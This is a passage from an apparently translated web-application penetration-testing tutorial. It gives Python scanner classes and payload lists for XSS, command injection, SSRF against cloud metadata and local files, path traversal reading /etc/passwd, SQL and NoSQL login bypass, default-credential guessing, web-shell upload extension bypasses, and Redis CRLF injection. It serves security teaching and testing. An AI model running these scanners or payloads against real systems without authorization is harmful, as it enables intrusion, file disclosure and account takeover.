# --- Redirect (302) = possible successful login ---
if r.status_code == 302:
loc = r.headers.get("Location", "")
print(f" [{name}] 302 redirect -> {loc}")
if "dashboard" in loc or "admin" in loc:
self.results.append({
"type": "nosql_redirect_candidate",
"name": name,
"redirect": loc,
})
# --- Response length difference = condition may have been applied ---
elif len_diff > max(100, int(base_len * 0.2)):
print(f"[{name}] Response difference: {len_diff}b (threshold base*0.2 β adjust to match the target)")
self.results.append({
"type": "nosql_candidate",
"name": name,
"len_diff": len_diff,
})
else:
print(f" [{name}] {r.status_code}, "
f"{len(r.text)}b")
except Exception as e:
print(f"[{name}] Error: {e}")
return self.resultsVerdict criteria: The delays, response length changes, and redirects in this example are all signals for selecting candidates to investigate further. The thresholds in the code (a delay margin of 2.0 seconds, a length of base*0.2) are starting points that must be re-calibrated against each target's baseline. For time-based detection, alternate between delay payloads and non-delay control payloads multiple times under identical session and input conditions; for boolean-based detection, verify the actual meaning of the true/false responses. Do not report a single HTTP delay or a single 302 redirect as confirmed SQLi or a successful login. OWASP SQL Injection Testing
6. XSS (Cross-Site Scripting)
6.1 What Is XSS?
XSS is a vulnerability in which an attacker's JavaScript code executes in the victim's browser.
[Attacker distributes a malicious link]
|
v
[Victim clicks]
https://example.com/search?q=<script>alert('Cookie:'+document.cookie)</script>
|
v
[Server] reflects the search term verbatim into the HTML response
|
v
[Victim's browser] sees the <script> tag and executes the JavaScript
β Can perform actions allowed under the page's privileges
β HttpOnly cookie values cannot be read via document.cookie6.2 Three Types of XSS
Type | Mechanism | Example |
|---|---|---|
Reflected | Input value is included as-is in the response HTML | Search query displayed on the results page |
Stored | Input is stored in the DB and displayed to other users | Script injection in posts/comments |
DOM-based | Executed as JavaScript manipulates the DOM |
|
- Type
Reflected
- Mechanism
Input value is included as-is in the response HTML
- Example
Search query displayed on the results page
- Type
Stored
- Mechanism
Input is stored in the DB and displayed to other users
- Example
Script injection in posts/comments
- Type
DOM-based
- Mechanism
Executed as JavaScript manipulates the DOM
- Example
eval(location.hash)
6.3 Why Block with Encoding?
In HTML, < and > mark the start and end of tags. Replacing them with < and > causes the browser to display them as plain characters rather than tags.
Input: <script>alert(1)</script>
Encoded: <script>alert(1)</script>
Rendered: <script>alert(1)</script> (shown as text, not executed)This encoding helps in the HTML text context. Attribute, JavaScript, and URL contexts each apply different rules, and the mere reflection of the original input is not enough to confirm the exploitability of XSS. OWASP XSS Prevention
6.4 Code: XSS Scanner
import requests
import time
class XSSScanner:
def __init__(self, session=None, delay=1.0):
self.session = session or requests.Session()
self.delay = delay
self.results = []
def scan_get(self, url, params=None):
"""GET Parameter XSS Scan
How it works:
1. Inject a payload such as `<script>alert(1)</script>` into a parameter
2. Check whether the payload appears unmodified in the response HTML
3. If it appears unmodified β the server did not encode it = potential XSS
4. If it has been converted to the form `<` β a sign that it was encoded in an HTML text context
"""
if params is None:
params = {"q": "test"}
print(f"\n[XSS] GET {url}")
# --- Payload List ---
# Includes various bypass techniques:
# - Generic: `<script>alert(1)</script>`
# - Attribute escape: `"><script>alert(1)</script>`
# - Event handler: `<img src=x onerror=alert(1)>`
# - SVG: <svg onload=alert(1)>
payloads = [
"<script>alert(1)</script>",
"\"><script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"<svg onload=alert(1)>",
"<body onload=alert(1)>",
"<details open ontoggle=alert(1)>",
"javascript:alert(1)",
]
for param in params:
for payload in payloads:
time.sleep(self.delay)
try:
r = self.session.get(
url, params={param: payload}, timeout=15
)
# [1] Is the payload present unmodified in the response?
if payload in r.text:
print(f"[{param}] Raw reflection candidate -> {payload[:40]}")
self.results.append({
"param": param,
"payload": payload,
"type": "reflection_candidate",
"response_len": len(r.text),
})
elif (payload.replace("<", "<")
.replace(">", ">")) in r.text:
print(f"[{param}] HTML escape observed")
# --- Partial reflection (e.g., only quotes missing) ---
elif payload.replace("<script>", "") in r.text:
print(f"[{param}] Partial reflection -> {payload[:40]}")
self.results.append({
"param": param,
"payload": payload,
"type": "partial",
})
except Exception as e:
print(f"[{param}] Error: {e}")
return self.results
def find_dom_sinks(self, js_code):
"""Searches for DOM XSS sinks in JavaScript code.
A sink is a function or property where dangerous execution occurs
when external input reaches it.
Key sinks:
- `eval()`: executes a string as JavaScript code
- `innerHTML`: parses HTML and inserts it into the DOM (injected `script` tags are typically not executed, but other active contexts are dangerous)
- `document.write()`: writes HTML directly to the document
- `setTimeout`/`setInterval`: executes a string as code
"""
sinks = {
"eval(": "`eval` β executes a string as JS code",
"innerHTML": "`innerHTML` β inserts HTML",
"document.write": "`document.write` β writes HTML to the document",
"setTimeout(": "`setTimeout` β executes a string as code",
"setInterval(": "`setInterval` β executes a string as code",
"location.href =": "`location.href` β redirect",
}
found = []
for pattern, desc in sinks.items():
if pattern in js_code:
print(f"[DOM XSS Sink] {desc}")
found.append({
"sink": pattern,
"description": desc,
})
return foundLimitations: This scanner only looks for full or partial reflections of the original input; it does not prove browser-side execution or defense adequacy.
location.hashis an input source, anddocument.cookieis a data access point, not an execution sink. Verify the execution context, CSP, and DOM data flow separately.
7. RCE (Remote Code Execution)
7.1 What is RCE?
RCE is a vulnerability that allows unintended code to be executed with the privileges of the server process. Command injection is one pathway to it. The actual impact depends on process privileges, sandbox restrictions, and network policies, so do not immediately assume full server compromise.
7.2 How does it occur?
// [Vulnerable code] β user input is passed directly into a system command
$cmd = $_GET["cmd"];
system("ping " . $cmd); // `system()` executes an OS command
// Input: `cmd=8.8.8.8; cat /etc/passwd`
// Executes: `ping 8.8.8.8; cat /etc/passwd`
// β The password file is printed; is a "command separator" in the shell. If ; cat /etc/passwd is appended after ping 8.8.8.8, both commands run in sequence.
7.3 Three Pathways to RCE
Pathway | Mechanism | Testing Method |
|---|---|---|
Command Injection | User input passed to | Inject |
File Upload | Upload a | Web shell upload via extension bypass |
Deserialization | Code execution during object restoration in | Injecting a serialized malicious object |
- Pathway
Command Injection
- Mechanism
User input passed to
system(),exec()- Testing Method
Inject
; id,| whoami
- Pathway
File Upload
- Mechanism
Upload a
.phpfile and execute it- Testing Method
Web shell upload via extension bypass
- Pathway
Deserialization
- Mechanism
Code execution during object restoration in
unserialize()- Testing Method
Injecting a serialized malicious object
7.4 Code: RCE Scanner
import requests
import time
class RCEScanner:
def __init__(self, session=None, delay=1.0):
self.session = session or requests.Session()
self.delay = delay
self.results = []
# ============================================
# 7.4.1 Command Injection Testing
# ============================================
def test_command_injection(self, url, param="cmd"):
"""Command Injection Testing
Principle:
The `id` command on Linux prints information about the current user.
If a string such as `uid=` appears in the response where it did not appear before, that is a clue suggesting execution has occurred.
You should first check whether the same string already appears on a normal page before drawing conclusions.
Why use `id`? Because its output format is easy to recognize in a typical Linux environment,
though the result may vary depending on the operating system, privilege level, and response context.
"""
print(f"\n[RCE] λͺ
λ Ήμ΄ μ£Όμ
: {url}?{param}=<payload>")
# --- Payloads for Command Injection ---
# Chain commands together using various delimiters:
# `; ` β command separator (shell)
# `| ` β pipe (passes the output of the preceding command to the next)
# `&&` β logical AND (executes the next command only if the preceding one succeeds)
# `$()` β command substitution
payloads = [
(";id", "semicolon_id"),
("|id", "pipe_id"),
("&&id", "and_id"),
("$(id)", "substitution_id"),
(";whoami", "semicolon_whoami"),
("|whoami", "pipe_whoami"),
]
# --- RCE Success Indicators ---
# `id` command output: `uid=33(www-data) gid=33(www-data)`
# `whoami` output: `www-data`
rce_indicators = ["uid=", "gid="]
for payload, name in payloads:
time.sleep(self.delay)
try:
r = self.session.get(
url, params={param: payload}, timeout=15
)
for indicator in rce_indicators:
if indicator in r.text:
print(f"`[{name}]` command output candidate -> `{indicator}` found")
self.results.append({
"type": "command_output_candidate",
"payload": payload,
"name": name,
"indicator": indicator,
"response": r.text[:500],
})
break
else:
print(f" [{name}] {r.status_code}, "
f"{len(r.text)}b")
except Exception as e:
print(f"`[{name}]` error: `{e}`")
return self.results
# ============================================
# 7.4.2 Web Shell Upload Testing
# ============================================
def test_webshell_upload(self, upload_url, file_param="file"):
"""Web Shell Upload Testing
Principle:
1. Attempt to upload a PHP file that outputs only a fixed marker
2. Verify at an authorized test location whether the marker is executed server-side
3. Observing execution is evidence of server-side code execution, but the scope of privileges must be confirmed separately
Extension bypass:
- Even if `.php` is blocked, `.phtml`, `.php5`, or `.phar` may not be
- `.php.jpg` may be recognized as `.php` by Apache
- `.php%00.jpg` can be recognized as `.php` by truncating with a null byte (older versions)
"""
print(f"\n[RCE] μΉμ μ
λ‘λ: {upload_url}")
# Output only a fixed marker, with no command execution capability.
shell_content = '<?php echo "UPLOAD_MARKER_XYZ123"; ?>'
# --- Extensions to Attempt ---
filenames = [
("shell.php", "application/x-php"), # Basic
("shell.phtml", "application/x-php"), # PHP HTML
("shell.php5", "application/x-php"), # PHP 5
("shell.phar", "application/octet-stream"), # PHP archive
("shell.php.jpg", "image/jpeg"), # Double extension
("shell.php%00.jpg","image/jpeg"), # Null byte
]
for filename, content_type in filenames:
time.sleep(self.delay)
try:
files = {file_param: (filename, shell_content, content_type)}
r = self.session.post(upload_url, files=files, timeout=15)
print(f" [{filename}] {r.status_code} ({len(r.text)}b)")
if r.status_code == 200 and "upload" in r.text.lower():
print(f"-> Upload response detected")
self.results.append({
"type": "upload_attempt",
"filename": filename,
"status": r.status_code,
})
except Exception as e:
print(f"`[{filename}]` error: `{e}`")
# --- Checking Whether the Uploaded File Is Executed Server-Side ---
# Guess the upload path and check whether the marker is present
base_url = upload_url.rsplit("/", 1)[0]
check_paths = [
"uploads/shell.php", "upload/shell.php",
"files/shell.php", "static/shell.php",
]
for path in check_paths:
time.sleep(self.delay)
try:
r = self.session.get(
f"{base_url}/{path}", timeout=10
)
if "UPLOAD_MARKER_XYZ123" in r.text and "<?php" not in r.text:
print(f"[Server-side execution candidate] `{base_url}/{path}`")
self.results.append({
"type": "upload_execution_candidate",
"path": f"{base_url}/{path}",
"response": r.text[:500],
})
return f"{base_url}/{path}"
except Exception:
pass
return None
# ============================================
# 7.4.3 Deserialization Testing
# ============================================
def test_deserialization(self, url, cookie_name="session"):
"""PHP Deserialization Testing
Principle:
PHP stores objects as strings (serialization) and restores them (deserialization).
If `unserialize()` accepts user input, a maliciously
crafted object may trigger the `__wakeup()` or `__destruct()` methods,
resulting in code execution.
PHP serialization format:
`O:class_name_length:"class_name":property_count:{properties...}`
`a:element_count:{key;value;...}` (array)
`s:length:"string"` (string)
`i:integer` (integer)
`b:0/1` (boolean)
Example: `O:8:"stdClass":0:{}` β an empty `stdClass` object
"""
import base64
print(f"\n[RCE] μμ§λ ¬ν: {url}")
# --- Deserialization Payloads ---
payloads = [
# Empty object β verify deserialization behavior via error messages
("O:8:\"stdClass\":0:{}", "empty_object"),
# Array β a standard PHP array
('a:1:{s:4:"test";s:4:"data";}', "array"),
# CodeIgniter session format
('a:2:{s:3:"sid";s:4:"test";s:4:"data";s:4:"aaaa";}',
"ci_session"),
]
deserialization_indicators = [
"unserialize", "__wakeup", "__destruct",
"Object of class", "Stack trace",
"Fatal error",
]
for serialized, name in payloads:
time.sleep(self.delay)
try:
# --- Cookies are often sent Base64-encoded ---
encoded = base64.b64encode(
serialized.encode()
).decode()
r = self.session.get(
url, cookies={cookie_name: encoded}, timeout=15
)
for indicator in deserialization_indicators:
if indicator in r.text:
print(f"`[{name}]` deserialization reaction! -> `{indicator}`")
self.results.append({
"type": "deserialization_response_candidate",
"name": name,
"indicator": indicator,
"response": r.text[:500],
})
break
else:
print(f" [{name}] {r.status_code}, {len(r.text)}b")
except Exception as e:
print(f"`[{name}]` error: `{e}`")
return self.resultsAssessment and remediation: Reflection of empty objects or error strings is merely a clue that a deserialization path exists, not proof of RCE. The first priority is never passing untrusted PHP serialized data to
unserialize(). Note that theallowed_classesrestriction does not guarantee safe deserialization of untrusted data.
8. SSRF (Server-Side Request Forgery)
8.1 What is SSRF?
SSRF occurs when a server visits a URL on behalf of the user based on input provided in the user's request.
[Attacker] "https://example.com/fetch?url=http://127.0.0.1/admin"
β [Server] "I need to visit http://127.0.0.1/admin"
β [Server makes request to internal network] β Internal admin page response
β [Server forwards the response to the attacker]The server can reach internal networks (127.0.0.1, 192.168.x.x) that external attackers cannot access directly. SSRF exploits this difference in privilege.
Validation should start with a destination where you can observe the response, such as a callback address owned by the tester. Distinguish whether the application actually issued a server-side request or merely reflected the input URL on screen, then verify only permitted internal destinations. Because each port may speak a different protocol, do not conclude that Redis commands or data were accessed simply because an HTTP URL was submitted to a Redis port.
8.2 Dangerous SSRF Destinations
Destination | Meaning | What you can obtain |
|---|---|---|
| Local server | Exposes internal services |
| May be a Redis port | Verify connection and protocol interpretation separately |
| AWS metadata | Access scope varies depending on whether IMDSv1 is allowed and whether an IMDSv2 token is required |
| Local file | Read system files |
| Gopher protocol | Provides an additional attack path if the server-side HTTP client supports this protocol and can reach internal services |
- Destination
http://127.0.0.1/- Meaning
Local server
- What you can obtain
Exposes internal services
- Destination
http://127.0.0.1:6379/- Meaning
May be a Redis port
- What you can obtain
Verify connection and protocol interpretation separately
- Destination
http://169.254.169.254/- Meaning
AWS metadata
- What you can obtain
Access scope varies depending on whether IMDSv1 is allowed and whether an IMDSv2 token is required
- Destination
file:///etc/passwd- Meaning
Local file
- What you can obtain
Read system files
- Destination
gopher://- Meaning
Gopher protocol
- What you can obtain
Provides an additional attack path if the server-side HTTP client supports this protocol and can reach internal services
8.3 Code: SSRF Scanner
import requests
import time
class SSRFScanner:
def __init__(self, session=None, delay=1.0):
self.session = session or requests.Session()
self.delay = delay
self.results = []
def scan(self, url, param="url"):
"""SSRF Testing
How it works:
1. Insert an internal address (e.g., 127.0.0.1) into a parameter
2. If the server visits this address, the response will differ
3. Look for traces of internal services in the response
Response indicators to check:
- `"root:x:"` β `/etc/passwd` content (`file://` succeeded)
- `"redis_version"` β Redis-related string observed (compare against the original page)
- `"ami-id"` β candidate AWS metadata response (e.g., when IMDSv1 is allowed)
- Response time difference β unknown-cause candidate; must distinguish from network latency
"""
print(f"\n[SSRF] {url}?{param}=<target>")
# --- SSRF Payload List ---
payloads = [
# [Localhost] β the server itself
("http://127.0.0.1/", "localhost_80"),
("http://127.0.0.1:6379/", "localhost_redis"),
("http://127.0.0.1:3306/", "localhost_mysql"),
("http://127.0.0.1:8080/", "localhost_8080"),
# [Cloud Metadata] β 169.254.169.254 is a link-local address shared by multiple cloud providers.
# Paths and requirements differ. The following are AWS-specific paths.
("http://169.254.169.254/latest/meta-data/", "aws_meta"),
# GCP uses different paths and requires the server to send a `Metadata-Flavor: Google` header in order to receive a response.
("http://169.254.169.254/computeMetadata/v1/", "gcp_meta"),
# [file:// Protocol] β read local files
("file:///etc/passwd", "file_passwd"),
# [IP Bypass Techniques] β evade IP filters
("http://0x7f000001/", "hex_ip"), # Hexadecimal
("http://0177.0.0.1/", "octal_ip"), # Octal
("http://[::1]/", "ipv6_loop"), # IPv6 loopback
]
# --- SSRF Success Indicators ---
ssrf_indicators = [
"root:x:0:0", # /etc/passwd
"redis_version", # Redis INFO
"PONG", # Redis PING response
"ami-id", # AWS metadata
"instance-id", # AWS metadata
]
for payload, name in payloads:
time.sleep(self.delay)
try:
r = self.session.get(
url, params={param: payload}, timeout=15
)
for indicator in ssrf_indicators:
if indicator in r.text:
print(f"[{name}] Internal response candidate -> {indicator}")
self.results.append({
"type": "ssrf_candidate",
"name": name,
"payload": payload,
"indicator": indicator,
"response_status": r.status_code,
})
break
else:
print(f" [{name}] {r.status_code}, "
f"{len(r.text)}b")
except Exception as e:
print(f"[{name}] Error: {e}")
return self.resultsWhat to check on AWS: The EC2 Instance Metadata Service can expose information such as IAM roles. However, if IMDSv2 is enforced, a
PUTrequest to obtain a token and a token header are required, so you cannot conclude that credentials are exposed based solely on the simple GET example above. Internal connectivity, response data, and credential exposure are each distinct pieces of evidence. AWS IMDS Official Documentation
9. Path Traversal
9.1 Principle
../ means "parent directory".
/var/www/html/files/../../../../etc/passwd
= /var/www/html/files/ β /var/www/html/ β /var/www/ β /var/ β / β /etc/passwdWhen a web server uses user input as a file path, if it fails to filter out ../, files outside the permitted directory can be read.
9.2 Encoding Bypass Principle
Even if the server filters out ../, it may fail to filter encoded variants:
Encoding | Meaning | Passes Filter |
|---|---|---|
| Plain | Filtered |
| URL Encoding | passes through if the filter does not recognize |
| Double Encoding | dangerous when the front-end validator and the back-end interpreter decode a different number of times |
| Pattern remaining after substitution | if only |
- Encoding
../- Meaning
Plain
- Passes Filter
Filtered
- Encoding
%2e%2e%2f- Meaning
URL Encoding
- Passes Filter
passes through if the filter does not recognize
%2e
- Encoding
%252e%252e%252f- Meaning
Double Encoding
- Passes Filter
dangerous when the front-end validator and the back-end interpreter decode a different number of times
- Encoding
....//- Meaning
Pattern remaining after substitution
- Passes Filter
if only
../is removed,..+//becomes../
9.3 Code: Path Traversal Scanner
import requests
import time
class PathTraversalScanner:
def __init__(self, session=None, delay=1.0):
self.session = session or requests.Session()
self.delay = delay
self.results = []
def scan(self, url, param="file"):
"""Path Traversal Testing
Principles:
1. Insert `../../etc/passwd` into a file-reading parameter
2. If the response contains `/etc/passwd` content such as `root:x:0:0`, the test succeeds
3. Compare path depth against the server's normalization behavior
"""
print(f"\n[Path Traversal] {url}?{param}=<path>")
payloads = [
# --- Linux paths ---
("../../../etc/passwd", "linux_basic"),
("../../../../etc/passwd", "linux_deep"),
("../../../etc/hosts", "linux_hosts"),
# --- Substitution bypass ---
# A filter that removes `../` leaves only `..`, which then reconstructs `../`
("....//....//....//etc/passwd",
"dot_filter_bypass"),
# --- Windows paths ---
("..\\..\\..\\windows\\win.ini", "windows_winini"),
("..\\..\\..\\windows\\system32\\"
"drivers\\etc\\hosts", "windows_hosts"),
# --- Absolute paths ---
("/etc/passwd", "absolute_path"),
]
# --- Success indicators ---
# `/etc/passwd` content: `root:x:0:0:root:/root:/bin/bash`
# `/etc/hosts` content: `127.0.0.1 localhost`
# `win.ini` content: `[fonts]`, `[extensions]`
traversal_indicators = [
"root:x:0:0", # /etc/passwd (Linux)
"127.0.0.1", # /etc/hosts (Linux) / hosts (Windows)
"[fonts]", # win.ini (Windows)
"MAPI=1", # win.ini (Windows)
]
for payload, name in payloads:
time.sleep(self.delay)
try:
r = self.session.get(
url, params={param: payload}, timeout=15
)
for indicator in traversal_indicators:
if indicator in r.text:
print(f"[{name}] File response candidate -> {indicator}")
self.results.append({
"type": "path_traversal_candidate",
"name": name,
"payload": payload,
"indicator": indicator,
"response_status": r.status_code,
})
break
else:
print(f" [{name}] {r.status_code}, "
f"{len(r.text)}b")
except Exception as e:
print(f"[{name}] Error: {e}")
return self.resultsExecution boundary of the encoding examples: The code above uses the
paramsargument ofrequests, so passing%2eas a value will actually send%252ein the URL. To reproduce the encoding examples in the table exactly, verify the bytes of the final prepared URL. Sensitive system files and environment variables have been excluded from the default automatic scan targets.
What is safe code? Map file identifiers to paths in an allowlist. If a user-supplied path is truly necessary, check the directory boundary of the normalized path and account for symbolic links and race conditions at the time the file is actually opened. Do not rely solely on a string prefix comparison to determine that a path is within an allowed directory.
10. Authentication Bypass / IDOR / CSRF
This chapter requires test accounts and test objects to be prepared in advance. For IDOR, verify the difference when querying the same object with two accounts that have different owners; for CSRF, verify state before and after a state-changing request and the browser's cross-site request conditions. The status code and response-length checks below cannot substitute for that comparison. Default-password attempts must be performed only within the lockout policy and the number of permitted attempts.
10.1 Authentication Bypass β SQLi-based
import requests
import time
import json
class AuthScanner:
def __init__(self, session=None, delay=1.0):
self.session = session or requests.Session()
self.delay = delay
self.results = []
def test_auth_bypass(self, login_url,
user_field="username",
pw_field="password"):
"""Login Authentication Bypass Testing
Principle:
If the login query looks like this:
SELECT * FROM users WHERE username='X' AND password='Y'
If you enter `admin' --` in the username field:
SELECT * FROM users WHERE username='admin' --'
AND password='Y'
β Everything after `--` is treated as a comment, so the password check is ignored
β Login succeeds as the admin account
Success indicators:
- A 302 redirect or page clues appearing after login are candidates for further verification
- You need to confirm whether access to protected resources of the authorized account is actually possible
"""
print(f"\n[Auth Bypass] {login_url}")
# --- SQLi-based authentication bypass payloads ---
sqli_payloads = [
("admin' OR '1'='1", "or_true"),
("admin'--", "comment"),
("' OR 1=1--", "or_1_true"),
("' OR '1'='1'--", "or_quote"),
("admin' UNION SELECT 1,2--", "union_bypass"),
]
# --- NoSQL-based authentication bypass ---
nosql_payloads = [
(json.dumps({"$ne": None}), "nosql_ne"),
(json.dumps({"$gt": ""}), "nosql_gt"),
(json.dumps({"$regex": ".*"}), "nosql_regex"),
]
# --- Default credentials ---
default_creds = [
("admin", "admin"),
("admin", "password"),
("admin", "123456"),
("root", "root"),
("test", "test"),
]
# [1] SQLi bypass test
for username, name in sqli_payloads:
time.sleep(self.delay)
try:
r = self.session.post(login_url, data={
user_field: username,
pw_field: "anything",
}, timeout=15, allow_redirects=False)
if self._check_login_success(r):
print(f"[{name}] Login response candidate (requires separate confirmation)")
self.results.append({
"type": "auth_sqli_candidate",
"payload": username,
"name": name,
})
else:
print(f" [{name}] {r.status_code}")
except Exception as e:
print(f"[{name}] Error: {e}")
# [2] NoSQL bypass test
for payload, name in nosql_payloads:
time.sleep(self.delay)
try:
r = self.session.post(login_url, data={
user_field: payload,
pw_field: payload,
}, timeout=15, allow_redirects=False)
if self._check_login_success(r):
print(f"[{name}] Login response candidate (requires separate confirmation)")
self.results.append({
"type": "auth_nosql_candidate",
"name": name,
})
else:
print(f" [{name}] {r.status_code}")
except Exception as e:
print(f"[{name}] Error: {e}")
# [3] Default credentials test
for username, password in default_creds:
time.sleep(self.delay)
try:
r = self.session.post(login_url, data={
user_field: username,
pw_field: password,
}, timeout=15, allow_redirects=False)
if self._check_login_success(r):
print(f"[{username}] Login response candidate (requires separate confirmation)")
self.results.append({
"type": "default_creds_candidate",
"username": username,
})
else:
print(f" [{username}] {r.status_code}")
except Exception as e:
print(f"[{username}] Error: {e}")
return self.results
def _check_login_success(self, response):
"""Determining whether login succeeded
Criteria:
- If it is a 302 redirect and the Location points to dashboard/admin/home,
treat it as a login response candidate
- A 200 response containing 'dashboard', 'welcome', or 'logout'
is only a response clue; it does not prove login succeeded
"""
if response.status_code == 302:
location = response.headers.get("Location", "")
if any(x in location for x in [
"dashboard", "admin", "home", "welcome"
]):
return True
elif response.status_code == 200:
success_words = [
"dashboard", "welcome", "logout",
"profile", "settings",
]
if any(x in response.text.lower() for x in success_words):
return True
return False
# ============================================
# 10.2 IDOR Testing
# ============================================
def test_idor(self, url_template, start_id=1, end_id=20):
"""IDOR (Insecure Direct Object Reference) Testing
Principle:
If you change `id=1` to `id=2` in `/user/profile?id=1`
and another person's profile appears, that is IDOR.
What is IDOR?
It means "an object reference (id) is used directly with no authorization check."
An attacker simply changes the id to view another user's data.
Testing approach:
1. Measure the response length for your own id (baseline)
2. Substitute a different id and check whether the response changes
3. If a different id returns 200 with a content difference, flag it as a review candidate
4. If a different id returns 403, that request is denied; verify the overall authorization model separately
Note that identical response lengths do not rule out IDOR.
You must inspect the content directly.
Prerequisite: a logged-in session is required (`auth_cookie` must be configured)
"""
print(f"\n[IDOR] {url_template} (ID: {start_id}-{end_id})")
# --- Baseline: your own ID ---
r_base = self.session.get(
url_template.format(id=start_id), timeout=15
)
base_len = len(r_base.text)
print(f"Baseline (id={start_id}): {r_base.status_code},"
f"{base_len}b")
for test_id in range(start_id + 1, end_id + 1):
time.sleep(self.delay)
try:
r = self.session.get(
url_template.format(id=test_id), timeout=15
)
len_diff = abs(len(r.text) - base_len)
if r.status_code == 200 and len_diff > max(100, int(base_len * 0.2)):
print(f" [ID={test_id}] 200, {len(r.text)}b "
f"(diff: {len_diff}b) β another user's data?")
self.results.append({
"type": "idor_candidate",
"id": test_id,
"length": len(r.text),
"len_diff": len_diff,
})
elif r.status_code == 403:
print(f"[ID={test_id}] 403 β this request was denied")
else:
print(f" [ID={test_id}] {r.status_code}, "
f"{len(r.text)}b")
except Exception as e:
print(f"[ID={test_id}] Error: {e}")
return self.results
# ============================================
# 10.3 CSRF Testing
# ============================================
def test_csrf(self, url, method="POST", params=None):
"""CSRF (Cross-Site Request Forgery) Testing
What is CSRF?
An attack in which the attacker uses the victim's browser to
send a request the victim never intended to make.
Example: while logged into a banking website,
if the victim opens a trap page crafted by the attacker,
a money transfer request is sent automatically.
Defenses:
- CSRF token: embed a random value known only to the server in the form and
validate it on submission
- SameSite cookie: requests originating from a different site will not include the cookie
Testing:
1. Send a request without a token, then compare the response against any actual state change
2. Send a request with a forged token, and likewise confirm any actual state change
Because this code runs in a same-origin request session, it cannot validate the browser's cross-site
cookie transmission behavior or the Origin/Referer policy.
"""
if params is None:
params = {"action": "test"}
print(f"\n[CSRF] {method} {url}")
# --- 1. Request without a token ---
time.sleep(self.delay)
try:
if method == "POST":
r = self.session.post(
url, data=params,
timeout=15, allow_redirects=False
)
else:
r = self.session.get(
url, params=params,
timeout=15, allow_redirects=False
)
if r.status_code == 200:
print(f"[No token] 200 β verify state change and Origin policy")
self.results.append({
"type": "csrf_no_token_candidate",
"status": r.status_code,
})
else:
print(f"[No token] {r.status_code} β"
f"request rejected/redirected (investigate the cause)")
except Exception as e:
print(f"[No token] Error: {e}")
# --- 2. Request with a forged token ---
time.sleep(self.delay)
fake_params = params.copy()
fake_params["csrf_token"] = "a" * 32
try:
if method == "POST":
r = self.session.post(
url, data=fake_params,
timeout=15, allow_redirects=False
)
else:
r = self.session.get(
url, params=fake_params,
timeout=15, allow_redirects=False
)
if r.status_code == 200:
print(f"[Forged token] 200 β verify state change and Origin policy")
self.results.append({
"type": "csrf_fake_token_candidate",
"status": r.status_code,
})
else:
print(f"[Forged token] {r.status_code} β investigate the cause")
except Exception as e:
print(f"[Forged token] Error: {e}")
return self.resultsWhy use
allow_redirects=False? A successful login redirects with a 302. WithTrue, the client follows the redirect and receives a 200 from the final page. WithFalse, it receives the 302 itself, allowing you to directly confirm that a redirect occurred.
11. Redis Injection
11.1 What Is Redis?
Redis is a memory-based key-value store. It uses its own protocol (RESP) rather than SQL.
[Client] SET name "hello"\r\n
[Redis] +OK\r\n
[Client] GET name\r\n
[Redis] $5\r\nhello\r\n11.2 Why Is Redis Injection Possible?
A normal SET call from a Redis client transmits arguments as length-prefixed RESP bulk strings. Even if a value contains \r\n, the client reads exactly that many bytes as a single argument, so no new command is created. The danger arises when an application directly assembles a Redis protocol string by embedding user-supplied values, or when raw commands are passed across a different boundary.
[Safe client call]
redis.set("user:" + input, "value") # CRLF in input is key data
[Conceptual diagram of incorrect direct protocol assembly]
wire = "SET user:" + input + " value\r\n" # No length framing
[Precondition]
The command boundary can only be disturbed when input is concatenated into the raw wire
before framing occursThis example is a counterexample that illustrates why protocol boundaries matter. The claim that redis.set() itself in the original code is vulnerable is incorrect. Redis RESP Official Specification
11.3 RESP Protocol Format
*1\r\n$4\r\nPING\r\n
*1 β 1 command
$4 β first argument length 4
PING β actual command
\r\n β CRLF at the end of each part11.4 Code: Redis Injection Scanner
import requests
import time
import socket
class RedisScanner:
def __init__(self, session=None, delay=1.0):
self.session = session or requests.Session()
self.delay = delay
self.results = []
# ============================================
# 11.4.1 CRLF Injection Testing
# ============================================
def test_crlf_injection(self, url, param="input"):
"""Testing Redis Command Injection via CRLF Injection
Principle:
1. Insert a Redis command containing `\r\n` into a parameter
2. If the key/value is handled by a proper RESP client, command boundaries will not change
3. Separate evidence that the server assembles the Redis protocol directly is required
before the injection possibility can be assessed
Why use `\r\n`?
The Redis protocol (RESP) uses `\r\n` (Carriage Return +
Line Feed) to delimit commands and arguments.
Because bulk strings include a length prefix, any CRLF in the input is treated as data.
"""
print(f"\n[Redis CRLF] {url}?{param}=<payload>")
# --- CRLF Injection Payloads ---
# Append a Redis command after `\r\n`
crlf_payloads = [
# `PING` β the most harmless Redis command; returns `PONG` in response
("test\r\nPING\r\n", "crlf_ping"),
# `INFO` β prints Redis server information
("test\r\nINFO\r\n", "crlf_info"),
# URL-encoded CRLF (`%0d%0a`)
("test%0d%0aPING%0d%0a", "encoded_crlf"),
# LF only (`\n`) β some servers split on `\r` alone or without it
("test\nPING\n", "lf_only"),
]
# --- Redis Response Indicators ---
redis_indicators = [
"PONG", # PING response
"redis_version", # INFO response
"NOAUTH", # Authentication required (Redis is reachable)
"CONFIG", # CONFIG response
"tcp_port", # INFO entry
]
for payload, name in crlf_payloads:
time.sleep(self.delay)
try:
r = self.session.get(
url, params={param: payload}, timeout=15
)
for indicator in redis_indicators:
if indicator in r.text:
print(f"[{name}] Redis string observation candidate -> {indicator}")
self.results.append({
"type": "redis_response_candidate",
"name": name,
"indicator": indicator,
"response_status": r.status_code,
})
break
else:
print(f" [{name}] {r.status_code}, "
f"{len(r.text)}b")
except Exception as e:
print(f"[{name}] Error: {e}")
return self.results
# ============================================
# 11.4.2 RESP Protocol Injection
# ============================================
def test_resp_injection(self, url, param="input"):
"""RESP Protocol Injection Testing
Principle:
Redis uses RESP (Redis Serialization Protocol).
Simply placing a RESP-formatted string in HTTP input does not constitute injection.
This becomes a protocol boundary test only when there is evidence that the server forwards
raw bytes to Redis rather than serializing the value as an argument.
RESP format:
*`*<arg_count>\r\n$<length>\r\n<value>\r\n...`
Example: `*1\r\n$4\r\nPING\r\n`
β One `PING` command, first argument length 4
"""
print(f"\n[Redis RESP] {url}?{param}=<payload>")
# --- RESP Payloads ---
# Construct a complete RESP-formatted payload and inject it
resp_payloads = [
# `PING` β the most harmless command
("*1\r\n$4\r\nPING\r\n", "resp_ping"),
# `INFO` β server information
("*1\r\n$4\r\nINFO\r\n", "resp_info"),
# `DBSIZE` β number of keys
("*1\r\n$6\r\nDBSIZE\r\n", "resp_dbsize"),
]
for payload, name in resp_payloads:
time.sleep(self.delay)
try:
r = self.session.get(
url, params={param: payload}, timeout=30
)
# --- Redis Response Verification ---
